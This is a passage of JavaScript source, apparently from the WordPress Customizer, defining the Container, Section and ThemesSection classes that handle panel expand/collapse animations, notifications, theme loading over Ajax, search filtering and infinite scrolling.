Math.ceil( remainingTime / millisecondsDivider ); return remainingTime; }; /** * Return browser supported `transitionend` event name. * * @since 4.7.0 * * @ignore * * @return {string|null} Normalized `transitionend` event name or null if CSS transitions are not supported. */ normalizedTransitionendEventName = (function () { var el, transitions, prop; el = document.createElement( 'div' ); transitions = { 'transition' : 'transitionend', 'OTransition' : 'oTransitionEnd', 'MozTransition' : 'transitionend', 'WebkitTransition': 'webkitTransitionEnd' }; prop = _.find( _.keys( transitions ), function( prop ) { return ! _.isUndefined( el.style[ prop ] ); } ); if ( prop ) { return transitions[ prop ]; } else { return null; } })(); Container = api.Class.extend(/** @lends wp.customize~Container.prototype */{ defaultActiveArguments: { duration: 'fast', completeCallback: $.noop }, defaultExpandedArguments: { duration: 'fast', completeCallback: $.noop }, containerType: 'container', defaults: { title: '', description: '', priority: 100, type: 'default', content: null, active: true, instanceNumber: null }, /** * Base class for Panel and Section. * * @constructs wp.customize~Container * @augments wp.customize.Class * * @since 4.1.0 * * @borrows wp.customize~focus as focus * * @param {string} id - The ID for the container. * @param {Object} options - Object containing one property: params. * @param {string} options.title - Title shown when panel is collapsed and expanded. * @param {string} [options.description] - Description shown at the top of the panel. * @param {number} [options.priority=100] - The sort priority for the panel. * @param {string} [options.templateId] - Template selector for container. * @param {string} [options.type=default] - The type of the panel. See wp.customize.panelConstructor. * @param {string} [options.content] - The markup to be used for the panel container. If empty, a JS template is used. * @param {boolean} [options.active=true] - Whether the panel is active or not. * @param {Object} [options.params] - Deprecated wrapper for the above properties. */ initialize: function ( id, options ) { var container = this; container.id = id; if ( ! Container.instanceCounter ) { Container.instanceCounter = 0; } Container.instanceCounter++; $.extend( container, { params: _.defaults( options.params || options, // Passing the params is deprecated. container.defaults ) } ); if ( ! container.params.instanceNumber ) { container.params.instanceNumber = Container.instanceCounter; } container.notifications = new api.Notifications(); container.templateSelector = container.params.templateId || 'customize-' + container.containerType + '-' + container.params.type; container.container = $( container.params.content ); if ( 0 === container.container.length ) { container.container = $( container.getContainer() ); } container.headContainer = container.container; container.contentContainer = container.getContent(); container.container = container.container.add( container.contentContainer ); container.deferred = { embedded: new $.Deferred() }; container.priority = new api.Value(); container.active = new api.Value(); container.activeArgumentsQueue = []; container.expanded = new api.Value(); container.expandedArgumentsQueue = []; container.active.bind( function ( active ) { var args = container.activeArgumentsQueue.shift(); args = $.extend( {}, container.defaultActiveArguments, args ); active = ( active && container.isContextuallyActive() ); container.onChangeActive( active, args ); }); container.expanded.bind( function ( expanded ) { var args = container.expandedArgumentsQueue.shift(); args = $.extend( {}, container.defaultExpandedArguments, args ); container.onChangeExpanded( expanded, args ); }); container.deferred.embedded.done( function () { container.setupNotifications(); container.attachEvents(); }); api.utils.bubbleChildValueChanges( container, [ 'priority', 'active' ] ); container.priority.set( container.params.priority ); container.active.set( container.params.active ); container.expanded.set( false ); }, /** * Get the element that will contain the notifications. * * @since 4.9.0 * @return {jQuery} Notification container element. */ getNotificationsContainerElement: function() { var container = this; return container.contentContainer.find( '.customize-control-notifications-container:first' ); }, /** * Set up notifications. * * @since 4.9.0 * @return {void} */ setupNotifications: function() { var container = this, renderNotifications; container.notifications.container = container.getNotificationsContainerElement(); // Render notifications when they change and when the construct is expanded. renderNotifications = function() { if ( container.expanded.get() ) { container.notifications.render(); } }; container.expanded.bind( renderNotifications ); renderNotifications(); container.notifications.bind( 'change', _.debounce( renderNotifications ) ); }, /** * @since 4.1.0 * * @abstract */ ready: function() {}, /** * Get the child models associated with this parent, sorting them by their priority Value. * * @since 4.1.0 * * @param {string} parentType * @param {string} childType * @return {Array} */ _children: function ( parentType, childType ) { var parent = this, children = []; api[ childType ].each( function ( child ) { if ( child[ parentType ].get() === parent.id ) { children.push( child ); } } ); children.sort( api.utils.prioritySort ); return children; }, /** * To override by subclass, to return whether the container has active children. * * @since 4.1.0 * * @abstract */ isContextuallyActive: function () { throw new Error( 'Container.isContextuallyActive() must be overridden in a subclass.' ); }, /** * Active state change handler. * * Shows the container if it is active, hides it if not. * * To override by subclass, update the container's UI to reflect the provided active state. * * @since 4.1.0 * * @param {boolean} active - The active state to transiution to. * @param {Object} [args] - Args. * @param {Object} [args.duration] - The duration for the slideUp/slideDown animation. * @param {boolean} [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early. * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed. */ onChangeActive: function( active, args ) { var construct = this, headContainer = construct.headContainer, duration, expandedOtherPanel; if ( args.unchanged ) { if ( args.completeCallback ) { args.completeCallback(); } return; } duration = ( 'resolved' === api.previewer.deferred.active.state() ? args.duration : 0 ); if ( construct.extended( api.Panel ) ) { // If this is a panel is not currently expanded but another panel is expanded, do not animate. api.panel.each(function ( panel ) { if ( panel !== construct && panel.expanded() ) { expandedOtherPanel = panel; duration = 0; } }); // Collapse any expanded sections inside of this panel first before deactivating. if ( ! active ) { _.each( construct.sections(), function( section ) { section.collapse( { duration: 0 } ); } ); } } if ( ! $.contains( document, headContainer.get( 0 ) ) ) { // If the element is not in the DOM, then jQuery.fn.slideUp() does nothing. // In this case, a hard toggle is required instead. headContainer.toggle( active ); if ( args.completeCallback ) { args.completeCallback(); } } else if ( active ) { headContainer.slideDown( duration, args.completeCallback ); } else { if ( construct.expanded() ) { construct.collapse({ duration: duration, completeCallback: function() { headContainer.slideUp( duration, args.completeCallback ); } }); } else { headContainer.slideUp( duration, args.completeCallback ); } } }, /** * @since 4.1.0 * * @param {boolean} active * @param {Object} [params] * @return {boolean} False if state already applied. */ _toggleActive: function ( active, params ) { var self = this; params = params || {}; if ( ( active && this.active.get() ) || ( ! active && ! this.active.get() ) ) { params.unchanged = true; self.onChangeActive( self.active.get(), params ); return false; } else { params.unchanged = false; this.activeArgumentsQueue.push( params ); this.active.set( active ); return true; } }, /** * @param {Object} [params] * @return {boolean} False if already active. */ activate: function ( params ) { return this._toggleActive( true, params ); }, /** * @param {Object} [params] * @return {boolean} False if already inactive. */ deactivate: function ( params ) { return this._toggleActive( false, params ); }, /** * To override by subclass, update the container's UI to reflect the provided active state. * @abstract */ onChangeExpanded: function () { throw new Error( 'Must override with subclass.' ); }, /** * Handle the toggle logic for expand/collapse. * * @param {boolean} expanded - The new state to apply. * @param {Object} [params] - Object containing options for expand/collapse. * @param {Function} [params.completeCallback] - Function to call when expansion/collapse is complete. * @return {boolean} False if state already applied or active state is false. */ _toggleExpanded: function( expanded, params ) { var instance = this, previousCompleteCallback; params = params || {}; previousCompleteCallback = params.completeCallback; // Short-circuit expand() if the instance is not active. if ( expanded && ! instance.active() ) { return false; } api.state( 'paneVisible' ).set( true ); params.completeCallback = function() { if ( previousCompleteCallback ) { previousCompleteCallback.apply( instance, arguments ); } if ( expanded ) { instance.container.trigger( 'expanded' ); } else { instance.container.trigger( 'collapsed' ); } }; if ( ( expanded && instance.expanded.get() ) || ( ! expanded && ! instance.expanded.get() ) ) { params.unchanged = true; instance.onChangeExpanded( instance.expanded.get(), params ); return false; } else { params.unchanged = false; instance.expandedArgumentsQueue.push( params ); instance.expanded.set( expanded ); return true; } }, /** * @param {Object} [params] * @return {boolean} False if already expanded or if inactive. */ expand: function ( params ) { return this._toggleExpanded( true, params ); }, /** * @param {Object} [params] * @return {boolean} False if already collapsed. */ collapse: function ( params ) { return this._toggleExpanded( false, params ); }, /** * Animate container state change if transitions are supported by the browser. * * @since 4.7.0 * @private * * @param {function} completeCallback Function to be called after transition is completed. * @return {void} */ _animateChangeExpanded: function( completeCallback ) { // Return if CSS transitions are not supported or if reduced motion is enabled. if ( ! normalizedTransitionendEventName || isReducedMotion ) { // Schedule the callback until the next tick to prevent focus loss. _.defer( function () { if ( completeCallback ) { completeCallback(); } } ); return; } var construct = this, content = construct.contentContainer, overlay = content.closest( '.wp-full-overlay' ), elements, transitionEndCallback, transitionParentPane; // Determine set of elements that are affected by the animation. elements = overlay.add( content ); if ( ! construct.panel || '' === construct.panel() ) { transitionParentPane = true; } else if ( api.panel( construct.panel() ).contentContainer.hasClass( 'skip-transition' ) ) { transitionParentPane = true; } else { transitionParentPane = false; } if ( transitionParentPane ) { elements = elements.add( '#customize-info, .customize-pane-parent' ); } // Handle `transitionEnd` event. transitionEndCallback = function( e ) { if ( 2 !== e.eventPhase || ! $( e.target ).is( content ) ) { return; } content.off( normalizedTransitionendEventName, transitionEndCallback ); elements.removeClass( 'busy' ); if ( completeCallback ) { completeCallback(); } }; content.on( normalizedTransitionendEventName, transitionEndCallback ); elements.addClass( 'busy' ); // Prevent screen flicker when pane has been scrolled before expanding. _.defer( function() { var container = content.closest( '.wp-full-overlay-sidebar-content' ), currentScrollTop = container.scrollTop(), previousScrollTop = content.data( 'previous-scrollTop' ) || 0, expanded = construct.expanded(); if ( expanded && 0 < currentScrollTop ) { content.css( 'top', currentScrollTop + 'px' ); content.data( 'previous-scrollTop', currentScrollTop ); } else if ( ! expanded && 0 < currentScrollTop + previousScrollTop ) { content.css( 'top', previousScrollTop - currentScrollTop + 'px' ); container.scrollTop( previousScrollTop ); } } ); }, /* * is documented using @borrows in the constructor. */ focus: focus, /** * Return the container html, generated from its JS template, if it exists. * * @since 4.3.0 */ getContainer: function () { var template, container = this; if ( 0 !== $( '#tmpl-' + container.templateSelector ).length ) { template = wp.template( container.templateSelector ); } else { template = wp.template( 'customize-' + container.containerType + '-default' ); } if ( template && container.container ) { return template( _.extend( { id: container.id }, container.params ) ).toString().trim(); } return '<li></li>'; }, /** * Find content element which is displayed when the section is expanded. * * After a construct is initialized, the return value will be available via the `contentContainer` property. * By default the element will be related it to the parent container with `aria-owns` and detached. * Custom panels and sections (such as the `NewMenuSection`) that do not have a sliding pane should * just return the content element without needing to add the `aria-owns` element or detach it from * the container. Such non-sliding pane custom sections also need to override the `onChangeExpanded` * method to handle animating the panel/section into and out of view. * * @since 4.7.0 * @access public * * @return {jQuery} Detached content element. */ getContent: function() { var construct = this, container = construct.container, content = container.find( '.accordion-section-content, .control-panel-content' ).first(), contentId = 'sub-' + container.attr( 'id' ), ownedElements = contentId, alreadyOwnedElements = container.attr( 'aria-owns' ); if ( alreadyOwnedElements ) { ownedElements = ownedElements + ' ' + alreadyOwnedElements; } container.attr( 'aria-owns', ownedElements ); return content.detach().attr( { 'id': contentId, 'class': 'customize-pane-child ' + content.attr( 'class' ) + ' ' + container.attr( 'class' ) } ); } }); api.Section = Container.extend(/** @lends wp.customize.Section.prototype */{ containerType: 'section', containerParent: '#customize-theme-controls', containerPaneParent: '.customize-pane-parent', defaults: { title: '', description: '', priority: 100, type: 'default', content: null, active: true, instanceNumber: null, panel: null, customizeAction: '' }, /** * @constructs wp.customize.Section * @augments wp.customize~Container * * @since 4.1.0 * * @param {string} id - The ID for the section. * @param {Object} options - Options. * @param {string} options.title - Title shown when section is collapsed and expanded. * @param {string} [options.description] - Description shown at the top of the section. * @param {number} [options.priority=100] - The sort priority for the section. * @param {string} [options.type=default] - The type of the section. See wp.customize.sectionConstructor. * @param {string} [options.content] - The markup to be used for the section container. If empty, a JS template is used. * @param {boolean} [options.active=true] - Whether the section is active or not. * @param {string} options.panel - The ID for the panel this section is associated with. * @param {string} [options.customizeAction] - Additional context information shown before the section title when expanded. * @param {Object} [options.params] - Deprecated wrapper for the above properties. */ initialize: function ( id, options ) { var section = this, params; params = options.params || options; // Look up the type if one was not supplied. if ( ! params.type ) { _.find( api.sectionConstructor, function( Constructor, type ) { if ( Constructor === section.constructor ) { params.type = type; return true; } return false; } ); } Container.prototype.initialize.call( section, id, params ); section.id = id; section.panel = new api.Value(); section.panel.bind( function ( id ) { $( section.headContainer ).toggleClass( 'control-subsection', !! id ); }); section.panel.set( section.params.panel || '' ); api.utils.bubbleChildValueChanges( section, [ 'panel' ] ); section.embed(); section.deferred.embedded.done( function () { section.ready(); }); }, /** * Embed the container in the DOM when any parent panel is ready. * * @since 4.1.0 */ embed: function () { var inject, section = this; section.containerParent = api.ensure( section.containerParent ); // Watch for changes to the panel state. inject = function ( panelId ) { var parentContainer; if ( panelId ) { // The panel has been supplied, so wait until the panel object is registered. api.panel( panelId, function ( panel ) { // The panel has been registered, wait for it to become ready/initialized. panel.deferred.embedded.done( function () { parentContainer = panel.contentContainer; if ( ! section.headContainer.parent().is( parentContainer ) ) { parentContainer.append( section.headContainer ); } if ( ! section.contentContainer.parent().is( section.headContainer ) ) { section.containerParent.append( section.contentContainer ); } section.deferred.embedded.resolve(); }); } ); } else { // There is no panel, so embed the section in the root of the customizer. parentContainer = api.ensure( section.containerPaneParent ); if ( ! section.headContainer.parent().is( parentContainer ) ) { parentContainer.append( section.headContainer ); } if ( ! section.contentContainer.parent().is( section.headContainer ) ) { section.containerParent.append( section.contentContainer ); } section.deferred.embedded.resolve(); } }; section.panel.bind( inject ); inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one. }, /** * Add behaviors for the accordion section. * * @since 4.1.0 */ attachEvents: function () { var meta, content, section = this; if ( section.container.hasClass( 'cannot-expand' ) ) { return; } // Expand/Collapse accordion sections on click. section.container.find( '.accordion-section-title button, .customize-section-back, .accordion-section-title[tabindex]' ).on( 'click keydown', function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); // Keep this AFTER the key filter above. if ( section.expanded() ) { section.collapse(); } else { section.expand(); } }); // This is very similar to what is found for api.Panel.attachEvents(). section.container.find( '.customize-section-title .customize-help-toggle' ).on( 'click', function() { meta = section.container.find( '.section-meta' ); if ( meta.hasClass( 'cannot-expand' ) ) { return; } content = meta.find( '.customize-section-description:first' ); content.toggleClass( 'open' ); content.slideToggle( section.defaultExpandedArguments.duration, function() { content.trigger( 'toggled' ); } ); $( this ).attr( 'aria-expanded', function( i, attr ) { return 'true' === attr ? 'false' : 'true'; }); }); }, /** * Return whether this section has any active controls. * * @since 4.1.0 * * @return {boolean} */ isContextuallyActive: function () { var section = this, controls = section.controls(), activeCount = 0; _( controls ).each( function ( control ) { if ( control.active() ) { activeCount += 1; } } ); return ( activeCount !== 0 ); }, /** * Get the controls that are associated with this section, sorted by their priority Value. * * @since 4.1.0 * * @return {Array} */ controls: function () { return this._children( 'section', 'control' ); }, /** * Update UI to reflect expanded state. * * @since 4.1.0 * * @param {boolean} expanded * @param {Object} args */ onChangeExpanded: function ( expanded, args ) { var section = this, container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ), content = section.contentContainer, overlay = section.headContainer.closest( '.wp-full-overlay' ), backBtn = content.find( '.customize-section-back' ), sectionTitle = section.headContainer.find( '.accordion-section-title button, .accordion-section-title[tabindex]' ).first(), expand, panel; if ( expanded && ! content.hasClass( 'open' ) ) { if ( args.unchanged ) { expand = args.completeCallback; } else { expand = function() { section._animateChangeExpanded( function() { backBtn.attr( 'tabindex', '0' ); backBtn.trigger( 'focus' ); content.css( 'top', '' ); container.scrollTop( 0 ); if ( args.completeCallback ) { args.completeCallback(); } } ); content.addClass( 'open' ); overlay.addClass( 'section-open' ); api.state( 'expandedSection' ).set( section ); }.bind( this ); } if ( ! args.allowMultiple ) { api.section.each( function ( otherSection ) { if ( otherSection !== section ) { otherSection.collapse( { duration: args.duration } ); } }); } if ( section.panel() ) { api.panel( section.panel() ).expand({ duration: args.duration, completeCallback: expand }); } else { if ( ! args.allowMultiple ) { api.panel.each( function( panel ) { panel.collapse(); }); } expand(); } } else if ( ! expanded && content.hasClass( 'open' ) ) { if ( section.panel() ) { panel = api.panel( section.panel() ); if ( panel.contentContainer.hasClass( 'skip-transition' ) ) { panel.collapse(); } } section._animateChangeExpanded( function() { backBtn.attr( 'tabindex', '-1' ); sectionTitle.trigger( 'focus' ); content.css( 'top', '' ); if ( args.completeCallback ) { args.completeCallback(); } } ); content.removeClass( 'open' ); overlay.removeClass( 'section-open' ); if ( section === api.state( 'expandedSection' ).get() ) { api.state( 'expandedSection' ).set( false ); } } else { if ( args.completeCallback ) { args.completeCallback(); } } } }); api.ThemesSection = api.Section.extend(/** @lends wp.customize.ThemesSection.prototype */{ currentTheme: '', overlay: '', template: '', screenshotQueue: null, $window: null, $body: null, loaded: 0, loading: false, fullyLoaded: false, term: '', tags: '', nextTerm: '', nextTags: '', filtersHeight: 0, headerContainer: null, updateCountDebounced: null, /** * wp.customize.ThemesSection * * Custom section for themes that loads themes by category, and also * handles the theme-details view rendering and navigation. * * @constructs wp.customize.ThemesSection * @augments wp.customize.Section * * @since 4.9.0 * * @param {string} id - ID. * @param {Object} options - Options. * @return {void} */ initialize: function( id, options ) { var section = this; section.headerContainer = $(); section.$window = $( window ); section.$body = $( document.body ); api.Section.prototype.initialize.call( section, id, options ); section.updateCountDebounced = _.debounce( section.updateCount, 500 ); }, /** * Embed the section in the DOM when the themes panel is ready. * * Insert the section before the themes container. Assume that a themes section is within a panel, but not necessarily the themes panel. * * @since 4.9.0 */ embed: function() { var inject, section = this; // Watch for changes to the panel state. inject = function( panelId ) { var parentContainer; api.panel( panelId, function( panel ) { // The panel has been registered, wait for it to become ready/initialized. panel.deferred.embedded.done( function() { parentContainer = panel.contentContainer; if ( ! section.headContainer.parent().is( parentContainer ) ) { parentContainer.find( '.customize-themes-full-container-container' ).before( section.headContainer ); } if ( ! section.contentContainer.parent().is( section.headContainer ) ) { section.containerParent.append( section.contentContainer ); } section.deferred.embedded.resolve(); }); } ); }; section.panel.bind( inject ); inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one. }, /** * Set up. * * @since 4.2.0 * * @return {void} */ ready: function() { var section = this; section.overlay = section.container.find( '.theme-overlay' ); section.template = wp.template( 'customize-themes-details-view' ); // Bind global keyboard events. section.container.on( 'keydown', function( event ) { if ( ! section.overlay.find( '.theme-wrap' ).is( ':visible' ) ) { return; } // Pressing the right arrow key fires a theme:next event. if ( 39 === event.keyCode ) { section.nextTheme(); } // Pressing the left arrow key fires a theme:previous event. if ( 37 === event.keyCode ) { section.previousTheme(); } // Pressing the escape key fires a theme:collapse event. if ( 27 === event.keyCode ) { if ( section.$body.hasClass( 'modal-open' ) ) { // Escape from the details modal. section.closeDetails(); } else { // Escape from the infinite scroll list. section.headerContainer.find( '.customize-themes-section-title' ).focus(); } event.stopPropagation(); // Prevent section from being collapsed. } }); section.renderScreenshots = _.throttle( section.renderScreenshots, 100 ); _.bindAll( section, 'renderScreenshots', 'loadMore', 'checkTerm', 'filtersChecked' ); }, /** * Override Section.isContextuallyActive method. * * Ignore the active states' of the contained theme controls, and just * use the section's own active state instead. This prevents empty search * results for theme sections from causing the section to become inactive. * * @since 4.2.0 * * @return {boolean} */ isContextuallyActive: function () { return this.active(); }, /** * Attach events. * * @since 4.2.0 * * @return {void} */ attachEvents: function () { var section = this, debounced; // Expand/Collapse accordion sections on click. section.container.find( '.customize-section-back' ).on( 'click keydown', function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); // Keep this AFTER the key filter above. section.collapse(); }); section.headerContainer = $( '#accordion-section-' + section.id ); // Expand section/panel. Only collapse when opening another section. section.headerContainer.on( 'click', '.customize-themes-section-title', function() { // Toggle accordion filters under section headers. if ( section.headerContainer.find( '.filter-details' ).length ) { section.headerContainer.find( '.customize-themes-section-title' ) .toggleClass( 'details-open' ) .attr( 'aria-expanded', function( i, attr ) { return 'true' === attr ? 'false' : 'true'; }); section.headerContainer.find( '.filter-details' ).slideToggle( 180 ); } // Open the section. if ( ! section.expanded() ) { section.expand(); } }); // Preview installed themes. section.container.on( 'click', '.theme-actions .preview-theme', function() { api.panel( 'themes' ).loadThemePreview( $( this ).data( 'slug' ) ); }); // Theme navigation in details view. section.container.on( 'click', '.left', function() { section.previousTheme(); }); section.container.on( 'click', '.right', function() { section.nextTheme(); }); section.container.on( 'click', '.theme-backdrop, .close', function() { section.closeDetails(); }); if ( 'local' === section.params.filter_type ) { // Filter-search all theme objects loaded in the section. section.container.on( 'input', '.wp-filter-search-themes', function( event ) { section.filterSearch( event.currentTarget.value ); }); } else if ( 'remote' === section.params.filter_type ) { // Event listeners for remote queries with user-entered terms. // Search terms. debounced = _.debounce( section.checkTerm, 500 ); // Wait until there is no input for 500 milliseconds to initiate a search. section.contentContainer.on( 'input', '.wp-filter-search', function() { if ( ! api.panel( 'themes' ).expanded() ) { return; } debounced( section ); if ( ! section.expanded() ) { section.expand(); } }); // Feature filters. section.contentContainer.on( 'click', '.filter-group input', function() { section.filtersChecked(); section.checkTerm( section ); }); } // Toggle feature filters. section.contentContainer.on( 'click', '.feature-filter-toggle', function( e ) { var $themeContainer = $( '.customize-themes-full-container' ), $filterToggle = $( e.currentTarget ); section.filtersHeight = $filterToggle.parents( '.themes-filter-bar' ).next( '.filter-drawer' ).height(); if ( 0 < $themeContainer.scrollTop() ) { $themeContainer.animate( { scrollTop: 0 }, 400 ); if ( $filterToggle.hasClass( 'open' ) ) { return; } } $filterToggle .toggleClass( 'open' ) .attr( 'aria-expanded', function( i, attr ) { return 'true' === attr ? 'false' : 'true'; }) .parents( '.themes-filter-bar' ).next( '.filter-drawer' ).slideToggle( 180, 'linear' ); if ( $filterToggle.hasClass( 'open' ) ) { var marginOffset = 1018 < window.innerWidth ? 50 : 76; section.contentContainer.find( '.themes' ).css( 'margin-top', section.filtersHeight + marginOffset ); } else { section.contentContainer.find( '.themes' ).css( 'margin-top', 0 ); } }); // Setup section cross-linking. section.contentContainer.on( 'click', '.no-themes-local .search-dotorg-themes', function() { api.section( 'wporg_themes' ).focus(); }); function updateSelectedState() { var el = section.headerContainer.find( '.customize-themes-section-title' ); el.toggleClass( 'selected', section.expanded() ); el.attr( 'aria-expanded', section.expanded() ? 'true' : 'false' ); if ( ! section.expanded() ) { el.removeClass( 'details-open' ); } } section.expanded.bind( updateSelectedState ); updateSelectedState(); // Move section controls to the themes area. api.bind( 'ready', function () { section.contentContainer = section.container.find( '.customize-themes-section' ); section.contentContainer.appendTo( $( '.customize-themes-full-container' ) ); section.container.add( section.headerContainer ); }); }, /** * Update UI to reflect expanded state * * @since 4.2.0 * * @param {boolean} expanded * @param {Object} args * @param {boolean} args.unchanged * @param {Function} args.completeCallback * @return {void} */ onChangeExpanded: function ( expanded, args ) { // Note: there is a second argument 'args' passed. var section = this, container = section.contentContainer.closest( '.customize-themes-full-container' ); // Immediately call the complete callback if there were no changes. if ( args.unchanged ) { if ( args.completeCallback ) { args.completeCallback(); } return; } function expand() { // Try to load controls if none are loaded yet. if ( 0 === section.loaded ) { section.loadThemes(); } // Collapse any sibling sections/panels. api.section.each( function ( otherSection ) { var searchTerm; if ( otherSection !== section ) { // Try to sync the current search term to the new section. if ( 'themes' === otherSection.params.type ) { searchTerm = otherSection.contentContainer.find( '.wp-filter-search' ).val(); section.contentContainer.find( '.wp-filter-search' ).val( searchTerm ); // Directly initialize an empty remote search to avoid a race condition. if ( '' === searchTerm && '' !== section.term && 'local' !== section.params.filter_type ) { section.term = ''; section.initializeNewQuery( section.term, section.tags ); } else { if ( 'remote' === section.params.filter_type ) { section.checkTerm( section ); } else if ( 'local' === section.params.filter_type ) { section.filterSearch( searchTerm ); } } otherSection.collapse( { duration: args.duration } ); } } }); section.contentContainer.addClass( 'current-section' ); container.scrollTop(); container.on( 'scroll', _.throttle( section.renderScreenshots, 300 ) ); container.on( 'scroll', _.throttle( section.loadMore, 300 ) ); if ( args.completeCallback ) { args.completeCallback(); } section.updateCount(); // Show this section's count. } if ( expanded ) { if ( section.panel() && api.panel.has( section.panel() ) ) { api.panel( section.panel() ).expand({ duration: args.duration, completeCallback: expand }); } else { expand(); } } else { section.contentContainer.removeClass( 'current-section' ); // Always hide, even if they don't exist or are already hidden. section.headerContainer.find( '.filter-details' ).slideUp( 180 ); container.off( 'scroll' ); if ( args.completeCallback ) { args.completeCallback(); } } }, /** * Return the section's content element without detaching from the parent. * * @since 4.9.0 * * @return {jQuery} */ getContent: function() { return this.container.find( '.control-section-content' ); }, /** * Load theme data via Ajax and add themes to the section as controls. * * @since 4.9.0 * * @return {void} */ loadThemes: function() { var section = this, params, page, request; if ( section.loading ) { return; // We're already loading a batch of themes. } // Parameters for every API query. Additional params are set in PHP. page = Math.ceil( section.loaded / 100 ) + 1; params = { 'nonce': api.settings.nonce.switch_themes, 'wp_customize': 'on', 'theme_action': section.params.action, 'customized_theme': api.settings.theme.stylesheet, 'page': page }; // Add fields for remote filtering. if ( 'remote' === section.params.filter_type ) { params.search = section.term; params.tags = section.tags; } // Load themes. section.headContainer.closest( '.wp-full-overlay' ).addClass( 'loading' ); section.loading = true; section.container.find( '.no-themes' ).hide(); request = wp.ajax.post( 'customize_load_themes', params ); request.done(function( data ) { var themes = data.themes; // Stop and try again if the term changed while loading. if ( '' !== section.nextTerm || '' !== section.nextTags ) { if ( section.nextTerm ) { section.term = section.nextTerm; } if ( section.nextTags ) { section.tags = section.nextTags; } section.nextTerm = ''; section.nextTags = ''; section.loading = false; section.loadThemes(); return; } if ( 0 !== themes.length ) { section.loadControls( themes, page ); if ( 1 === page ) { // Pre-load the first 3 theme screenshots. _.each( section.controls().slice( 0, 3 ), function( control ) { var img, src = control.params.theme.screenshot[0]; if ( src ) { img = new Image(); img.src = src; } }); if ( 'local' !== section.params.filter_type ) { wp.a11y.speak( api.settings.l10n.themeSearchResults.replace( '%d', data.info.results ) ); } } _.delay( section.renderScreenshots, 100 ); // Wait for the controls to become visible. if ( 'local' === section.params.filter_type || 100 > themes.length ) { // If we have less than the requested 100 themes, it's the end of the list. section.fullyLoaded = true; } } else { if ( 0 === section.loaded ) { section.container.find( '.no-themes' ).show(); wp.a11y.speak( section.container.find( '.no-themes' ).text() ); } else { section.fullyLoaded = true; } } if ( 'local' === section.params.filter_type ) { section.updateCount(); // Count of visible theme controls. } else { section.updateCount( data.info.results ); // Total number of results including pages not yet loaded. } section.container.find( '.unexpected-error' ).hide(); // Hide error notice in case it was previously shown. // This cannot run on request.always, as section.loading may turn false before the new controls load in the success case. section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' ); section.loading = false; }); request.fail(function( data ) { if ( 'undefined' === typeof data ) { section.container.find( '.unexpected-error' ).show(); wp.a11y.speak( section.container.find( '.unexpected-error' ).text() ); } else if ( 'undefined' !== typeof console && console.error ) { console.error( data ); } // This cannot run on request.always, as section.loading may turn false before the new controls load in the success case. section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' ); section.loading = false; }); }, /** * Loads controls into the section from data received from loadThemes(). * * @since 4.9.0 * @param {Array} themes - Array of theme data to create controls with. * @param {number} page - Page of results being loaded. * @return {void} */ loadControls: function( themes, page ) { var newThemeControls = [], section = this; // Add controls for each theme. _.each( themes, function( theme ) { var themeControl = new api.controlConstructor.theme( section.params.action + '_theme_' + theme.id, { type: 'theme', section: section.params.id, theme: theme, priority: section.loaded + 1 } ); api.control.add( themeControl ); newThemeControls.push( themeControl ); section.loaded = section.loaded + 1; }); if ( 1 !== page ) { Array.prototype.push.apply( section.screenshotQueue, newThemeControls ); // Add new themes to the screenshot queue. } }, /** * Determines whether more themes should be loaded, and loads them. * * @since 4.9.0 * @return {void} */ loadMore: function() { var section = this, container, bottom, threshold; if ( ! section.fullyLoaded && ! section.loading ) { container = section.container.closest( '.customize-themes-full-container' ); bottom = container.scrollTop() + container.height(); // Use a fixed distance to the bottom of loaded results to avoid unnecessarily // loading results sooner when using a percentage of scroll distance. threshold = container.prop( 'scrollHeight' ) - 3000; if ( bottom > threshold ) { section.loadThemes(); } } }, /** * Event handler for search input that filters visible controls. * * @since 4.9.0 * * @param {string} term - The raw search input value. * @return {void} */ filterSearch: function( term ) { var count = 0, visible = false, section = this, noFilter = ( api.section.has( 'wporg_themes' ) && 'remote' !== section.params.filter_type ) ? '.no-themes-local' : '.no-themes', controls = section.controls(), terms; if ( section.loading ) { return; } // Standardize search term format and split into an array of individual words. terms = term.toLowerCase().trim().replace( /-/g, ' ' ).split( ' ' ); _.each( controls, function( control ) { visible = control.filter( terms ); // Shows/hides and sorts control based on the applicability of the search term. if ( visible ) { count = count + 1; } }); if ( 0 === count ) { section.container.find( noFilter ).show(); wp.a11y.speak( section.container.find( noFilter ).text() ); } else { section.container.find( noFilter ).hide(); } section.renderScreenshots(); api.reflowPaneContents(); // Update theme count. section.updateCountDebounced( count ); }, /** * Event handler for search input that determines if the terms have changed and loads new controls as needed. * * @since 4.9.0 * * @param {wp.customize.ThemesSection} section - The current theme section, passed through the debouncer. * @return {void} */ checkTerm: function( section ) { var newTerm; if ( 'remote' === section.params.filter_type ) { newTerm = section.contentContainer.find( '.wp-filter-search' ).val(); if ( section.term !== newTerm.trim() ) { section.initializeNewQuery( newTerm, section.tags ); } } }, /** * Check for filters checked in the feature filter list and initialize a new query. * * @since 4.9.0 * * @return {void} */ filtersChecked: function() { var section = this, items = section.container.find( '.filter-group' ).find( ':checkbox' ), tags = []; _.each( items.filter( ':checked' ), function( item ) { tags.push( $( item ).prop( 'value' ) ); }); // When no filters are checked, restore initial state. Update filter count. if ( 0 === tags.length ) { tags = ''; section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).show(); section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).hide(); } else { section.contentContainer.find( '.feature-filter-toggle .theme-filter-count' ).text( tags.length ); section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).hide(); section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).show(); } // Check whether tags have changed, and either load or queue them. if ( ! _.isEqual( section.tags, tags ) ) { if ( section.loading ) { section.nextTags = tags; } else { if ( 'remote' === section.params.filter_type ) { section.initializeNewQuery( section.term, tags ); } else if ( 'local' === section.params.filter_type ) { section.filterSearch( tags.join( ' ' ) ); } } } }, /** * Reset the current query and load new results. * * @since 4.9.0 * * @param {string} newTerm - New term. * @param {Array} newTags - New tags. * @return {void} */ 